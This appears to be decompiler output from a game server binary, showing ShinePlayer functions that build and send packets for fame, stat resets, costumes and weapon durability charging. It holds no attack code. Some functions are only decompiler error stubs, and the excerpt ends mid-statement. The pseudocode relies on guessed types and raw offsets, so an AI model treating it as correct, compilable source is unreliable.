(*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"); } //----- (004D6D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SaveFame(void *this) { void *v1; // esi@1 char *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SaveFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SaveFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4208; *(_DWORD *)(v2 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v2 + 6) = *(_DWORD *)((char *)v1 + 32067); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_SaveFame : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SaveFame"); } //----- (004D6E70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCell(void *this, int location, int cell, int exchange) { void *v4; // edi@1 char *v5; // esi@1 __int16 v6; // ax@1 int v7; // ecx@2 unsigned __int16 v8; // ax@2 int v9; // eax@3 int v10; // ebp@4 int v11; // esi@9 int v12; // eax@11 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChangeCell"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChangeCell"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x3000; *(_WORD *)gpp.pp_Buffer = v6; if ( (*(_WORD *)location & 0xFC00) == 8192 ) { *(_WORD *)v5 = v6 & 0xFC02 | 2; v5[4] = *(_BYTE *)location; v7 = cell; *((_WORD *)v5 + 1) = *(_WORD *)exchange; v8 = *(_WORD *)(cell + 8); *(_WORD *)(v5 + 5) = v8; if ( v8 == -1 ) { v9 = (int)(v5 + 7); goto LABEL_9; } v10 = (int)(v5 + 7); } else { *(_WORD *)v5 = v6 & 0xFC01 | 1; *((_WORD *)v5 + 2) = *(_WORD *)location; v7 = cell; *((_WORD *)v5 + 1) = *(_WORD *)exchange; v8 = *(_WORD *)(cell + 8); *((_WORD *)v5 + 3) = v8; if ( v8 == -1 ) { v9 = (int)(v5 + 8); goto LABEL_9; } v10 = (int)(v5 + 8); } v9 = (int)ItemTotalInformation::iti_fill2buffer_atrib( (ItemTotalInformation *)v7, *(ItemAttributeClass **)(v7 + 112), v8, (char *)v10); LABEL_9: v11 = v9 - (_DWORD)v5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v11) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ChangeCell : Packet Too Long", v11); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChangeCell"); } //----- (004D6FF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize(void *this, __int16 command, int errcommand, int slot, int itm) { void *v5; // ebx@1 int v6; // edx@1 int v7; // esi@1 void *v8; // ecx@1 int v9; // edx@1 int v10; // eax@1 char *v11; // ebp@1 int v12; // ecx@1 int v13; // eax@2 int v14; // edi@2 int v15; // ebx@2 int v16; // esi@3 int v17; // eax@3 void *v18; // ST04_4@3 ZoneBaseSession *v19; // eax@6 ITEM_INVEN inv; // [sp+18h] [bp-94h]@1 int lot; // [sp+1Ch] [bp-90h]@1 void *iac; // [sp+20h] [bp-8Ch]@1 int iic; // [sp+24h] [bp-88h]@1 FunctionEntarance _; // [sp+28h] [bp-84h]@1 ItemTotalInformation iti; // [sp+2Ch] [bp-80h]@3 unsigned int v26; // [sp+9Ch] [bp-10h]@7 int v27; // [sp+A8h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *((_DWORD *)v5 + 8884); v27 = 0; v7 = (*(int (__thiscall **)(char *, int))v6)((char *)v5 + 35536, slot); v8 = *(void **)(v7 + 112); v9 = *(_DWORD *)v8; iic = v7; iac = v8; v10 = (*(int (__stdcall **)(int))(v9 + 24))(v7 + 8); v11 = gpp.pp_Buffer; lot = v10; *(_WORD *)gpp.pp_Buffer = command & 0x3FF | 0x9000; *((_WORD *)v11 + 1) = *((_WORD *)v5 + 2); *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v11 + 4) = *((_WORD *)v5 + 28870); *(_DWORD *)(v11 + 10) = *(_DWORD *)v7; *(_DWORD *)(v11 + 14) = *(_DWORD *)(v7 + 4); v12 = lot; *((_WORD *)v11 + 9) = *(_WORD *)(v7 + 8); inv.Inven = slot & 0x3FF | 0x2400; if ( v12 == 1 ) { v11[20] = 1; v13 = *((_WORD *)v11 + 4); v14 = 0; v15 = (int)((char *)v5 + 57736); *(_WORD *)(v11 + 21) = 0; (*(void (__thiscall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v15 + 40))(v15, v13, v7, &inv, &inv); } else { memcpy(&iti, (const void *)v7, 0x6Cu); v16 = v7 + 108; *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v16; BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v16 + 2); (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, int))(*(_DWORD *)iac + 28))(iac, &iti.iti_itemstruct, lot - 1); v14 = (**(int (__thiscall ***)(void *, SHINE_ITEM_STRUCT *, char *))iac)(iac, &iti.iti_itemstruct, v11 + 23) - (_DWORD)(v11 + 23); *(_WORD *)(v11 + 21) = 21; v17 = *((_WORD *)v11 + 4); v15 = (int)((char *)v5 + 57736); v18 = (void *)iic; v11[20] = 0; (*(void (__thiscall **)(int, int, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v15 + 48))( v15, v17, v18, &iti, &inv, &inv); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v14 + 23) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v19); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize : Packet Too Long", v14 + 23); } ++*(_WORD *)(v15 + 4); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"); __security_check_cookie(v26); } //----- (004D7220) -------------------------------------------------------- #error "4D7220: undefined or illegal type '#325' (funcsize=74)" //----- (004D7340) -------------------------------------------------------- #error "4D7340: undefined or illegal type '#325' (funcsize=74)" //----- (004D7460) -------------------------------------------------------- #error "4D7460: undefined or illegal type '#325' (funcsize=64)" //----- (004D7560) -------------------------------------------------------- #error "4D7560: undefined or illegal type '#325' (funcsize=64)" //----- (004D7660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitFreeStat(void *this) { int v1; // esi@1 int v2; // ST00_4@1 char *v3; // edi@1 int v4; // ebx@1 int v5; // ebp@1 int v6; // eax@1 int v7; // eax@3 int v8; // [sp+0h] [bp-20h]@0 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 4004); *(_BYTE *)(v1 + 32104) = 0; *(_BYTE *)(v1 + 32103) = 0; *(_BYTE *)(v1 + 32102) = 0; *(_BYTE *)(v1 + 32101) = 0; *(_BYTE *)(v1 + 32100) = 0; Parameter::Container::c_Storepure((void *)(v1 + 4008), v2, v1, v8); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28660; v4 = *(_DWORD *)(v1 + 4004); v5 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1220))(v1); v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 40))(v4); v3[2] = LOBYTE(shineparam.scp_param.commonparam[v5]->stat[v6]) - ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat : Packet Too Long", 3); } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v1 + 52))(v1, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"); } //----- (004D77A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow(void *this) { void *v1; // esi@1 char *v2; // ebp@1 char v3; // bl@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharaterSkillList::csl_EmpowerClear((CharaterSkillList *)v1 + 3411); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28659; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1640))(v1); v2[2] = v3 - CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)v1 + 3411); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow : Packet Too Long", 3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"); } //----- (004D78A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult(void *this, __int16 err, __int16 skill) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18452; *((_WORD *)v4 + 2) = err; *((_WORD *)v4 + 1) = skill; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"); } //----- (004D7990) -------------------------------------------------------- #error "4D7990: undefined or illegal type '#325' (funcsize=97)" //----- (004D7B30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate(void *this, unsigned __int16 equippart, int itemid, char *op) { int v4; // ebp@1 int v5; // edx@1 int v6; // eax@2 int v7; // eax@2 ItemAttributeClass *v8; // esi@4 int v9; // ST0C_4@4 CServerInfo::MY_SERVER *v10; // eax@4 char *v11; // ebp@5 char v12; // al@8 ITEM_INVEN inv; // [sp+1Ch] [bp-90h]@2 int cell; // [sp+20h] [bp-8Ch]@4 int v15; // [sp+24h] [bp-88h]@1 FunctionEntarance _; // [sp+28h] [bp-84h]@1 ItemTotalInformation iti; // [sp+2Ch] [bp-80h]@4 unsigned int v18; // [sp+9Ch] [bp-10h]@11 int v19; // [sp+A8h] [bp-4h]@1 v4 = (int)this; v15 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)(v4 + 32168); v19 = 0; if ( equippart >= (*(int (__thiscall **)(int))(v5 + 8))(v4 + 32168) || (v6 = *(_DWORD *)v4, inv.Inven = equippart & 0x3FF | 0x2000, v7 = (*(int (__thiscall **)(int))(v6 + 1916))(v4), (unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)v7 + 8))(v7, &inv)) ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); } else { cell = (**(int (__thiscall ***)(_DWORD, _DWORD))(v4 + 32168))(v4 + 32168, equippart); v8 = ItemAttributeClassContainer::operator__(&itmattcontainer, itemid); v9 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v10 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&iti, 7, v10->nZoneNo, v9); v8->vfptr->iac_itemcreate( v8, itemid, &iti, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); if ( *op ) { v11 = op; do { if ( *v11 == 45 ) v8->vfptr->iac_itemcreate(v8, itemid, &iti, v11); v12 = (v11++)[1]; } while ( v12 ); v4 = v15; } iti.iti_itemstruct.itemid = itemid; ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin((void *)v4, 8, equippart, (int)&iti, cell); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); } __security_check_cookie(v18); } //----- (004D7D10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff(void *this, unsigned __int16 equippart, unsigned __int16 itemid) { void *v3; // esi@1 int v4; // edx@1 int v5; // eax@2 int v6; // eax@2 int v7; // edi@3 int v8; // eax@3 char v9; // bl@6 char result; // al@6 char v11; // bl@7 ITEM_INVEN inveninv; // [sp+18h] [bp-18h]@3 ITEM_INVEN equipinv; // [sp+1Ch] [bp-14h]@2 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v15; // [sp+2Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 8042); v15 = 0; if ( equippart < (*(int (__thiscall **)(char *))(v4 + 8))((char *)v3 + 32168) && (v5 = *(_DWORD *)v3, equipinv.Inven = equippart & 0x3FF | 0x2000, v6 = (*(int (__thiscall **)(void *))(v5 + 1916))(v3), !(unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)v6 + 8))(v6, &equipinv)) && (v7 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8042))( (char *)v3 + 32168, equippart), v8 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v3, itemid, (int)&inveninv), v7) && v8 ) { if ( *(_WORD *)(v7 + 8) == -1 ) { v9 = ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), v8, &inveninv); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v9; } else { v11 = ShineObjectClass::ShinePlayer::sp_DestroyNReloc(v3, v7, &equipinv, v8, &inveninv); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v11; } } else { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"); result = 0; } return result; } // 4DBC80: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // 4E6480: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyNReloc(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (004D7EA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(void *this, __int16 inventype, __int16 invenslot) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12344; *((_WORD *)v4 + 1) = (inventype << 10) ^ invenslot & 0x3FF; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"); } //----- (004D7F90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 bool v5; // zf@1 char *v6; // ebp@1 int v7; // eax@6 __int16 v8; // ax@16 char v9; // al@18 int v10; // eax@19 int v11; // edi@21 CIDEB_Element *v12; // eax@24 CIDEB_Element *v13; // esi@24 int v14; // ecx@26 char v15; // al@27 int v16; // eax@28 int v17; // eax@29 int v18; // edx@29 int v19; // esi@31 ItemDataBox::ItemDataBoxIndex *v20; // eax@32 CIDEB_Element *v21; // eax@34 void *v22; // eax@36 int v23; // eax@37 int v24; // esi@39 int v25; // eax@40 ChargedItemEffect *v26; // edx@40 void *v27; // eax@42 char *v28; // edi@43 int v29; // eax@43 ItemAttributeClass *v30; // ecx@44 int v31; // eax@44 int v32; // eax@45 char v33; // al@45 ZoneBaseSession *v34; // eax@46 int v35; // eax@47 char v36; // al@51 int v37; // eax@52 char v38; // al@53 int v39; // eax@54 FunctionEntarance _; // [sp+38h] [bp-A4h]@1 ITEM_INVEN chargeiteminven; // [sp+3Ch] [bp-A0h]@42 int weaponcell; // [sp+40h] [bp-9Ch]@21 void *iac_charge; // [sp+44h] [bp-98h]@36 CIDEB_Element *chargedindex; // [sp+48h] [bp-94h]@34 int rest; // [sp+4Ch] [bp-90h]@29 CIDEB_Element *weaponindex; // [sp+50h] [bp-8Ch]@24 int chargenumber; // [sp+54h] [bp-88h]@37 int chargingcell; // [sp+58h] [bp-84h]@31 ItemTotalInformation iti; // [sp+5Ch] [bp-80h]@39 unsigned int v50; // [sp+CCh] [bp-10h]@59 int v51; // [sp+D8h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S4_6 & 1) == 0; v6 = gpp.pp_Buffer; v51 = 0; *(_WORD *)gpp.pp_Buffer = 12342; if ( v5 ) { _S4_6 |= 1u; cmc_56.cmc_AllowMode = 6; atexit(_E5_49); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_56.cmc_AllowMode) ) { *((_WORD *)v6 + 4) = 6785; goto LABEL_5; } if ( *((_BYTE *)v4 + 7368) & 4 ) { *((_WORD *)v6 + 4) = 6786; goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2796))(v4) ) { *((_WORD *)v6 + 4) = 6794; goto LABEL_5; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { *((_WORD *)v6 + 4) = 6787; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_57: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_58; } goto LABEL_10; } if ( *((_BYTE *)v4 + 69416) & 0xC ) { *((_WORD *)v6 + 4) = 6788; LABEL_9: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_57; } LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10); LABEL_58: --funcallanalizer.fca_stackpoint; v51 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"); goto LABEL_59; } v8 = *(_WORD *)(netcmd + 3); if ( (unsigned int)*(_WORD *)(netcmd + 3) >> 10 == 8 ) { weaponcell = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8042))( (char *)v4 + 32168, v8 & 0x3FF); v11 = weaponcell; LABEL_23: if ( !v11 ) { *((_WORD *)v6 + 4) = 6790; v38 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v38, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v39 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v39 + 12))(v39, v4, &gpp); v51 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_59; } goto LABEL_20; } v12 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, *(_WORD *)(v11 + 8)); v13 = v12; weaponindex = v12; if ( v12 && v12->ce_Data->EffectEnum == 28 ) { v14 = *(_DWORD *)(v11 + 112); if ( !v14 ) { *((_WORD *)v6 + 4) = 6790; v15 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v15, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v16 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v4, &gpp); } LABEL_48: v51 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_59; } v17 = (*(int (__stdcall **)(int))(*(_DWORD *)v14 + 136))(v11); v18 = v13->ce_Data->EffectValue; rest = v17; if ( v17 < v18 ) { v19 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8884))( (char *)v4 + 35536, *(_BYTE *)(netcmd + 2)); chargingcell = v19; if ( v19 ) { v20 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v19 + 8)); if ( v20 ) { if ( v20->data->ItemFunc == 1 ) { v21 = ChargedItemEffectDataBox::cideb_GetItemID( &chargedbuffdatabox, *(_WORD *)(v19 + 8)); chargedindex = v21; if ( v21 ) { if ( v21->ce_Data->EffectEnum == 27 ) { v22 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v19 + 8)); iac_charge = v22; if ( v22 ) { v23 = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v22 + 24))(v22, v19 + 8); chargenumber = v23; if ( v23 > 0 ) { if ( v23 > 1 ) { memcpy(&iti, (const void *)v19, 0x6Cu); v24 = v19 + 108; *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v24; BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v24 + 2); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(*(_DWORD *)iac_charge + 28))( &iti.iti_itemstruct, v23 - 1); v19 = chargingcell; v11 = weaponcell; } v25 = rest + chargedindex->ce_Data->EffectValue; v26 = weaponindex->ce_Data; if ( v25 > v26->EffectValue ) v25 = v26->EffectValue; chargeiteminven.Inven = *(unsigned __int8 *)(netcmd + 2) | 0x2400; *(_WORD *)gpp.pp_Buffer = 13453; *(_DWORD *)(v6 + 2) = *(_DWORD *)v11; *(_DWORD *)(v6 + 6) = *(_DWORD *)(v11 + 4); *((_WORD *)v6 + 5) = *(_WORD *)(netcmd + 3); *((_DWORD *)v6 + 3) = v25; *((_WORD *)v6 + 8) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 18) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v27 = chargedindex; *(_DWORD *)(v6 + 22) = *(_DWORD *)v19; *(_DWORD *)(v6 + 26) = *(_DWORD *)(v19 + 4); *((_WORD *)v6 + 15) = *(_WORD *)v27; *((_WORD *)v6 + 17) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( chargenumber > 1 ) { v30 = (ItemAttributeClass *)iac_charge; v6[36] = 0; *((_WORD *)v6 + 16) = 35; v28 = (char *)(ItemTotalInformation::iti_fill2buffer_atrib( &iti, v30, iti.iti_itemstruct.itemid, v6 + 37) - (v6 + 37)); v31 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v31 + 48))( v31, *((_WORD *)v6 + 17), v19, &iti, &chargeiteminven, &chargeiteminven); } else { v28 = 0; v6[36] = 1; *((_WORD *)v6 + 16) = 0; v29 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 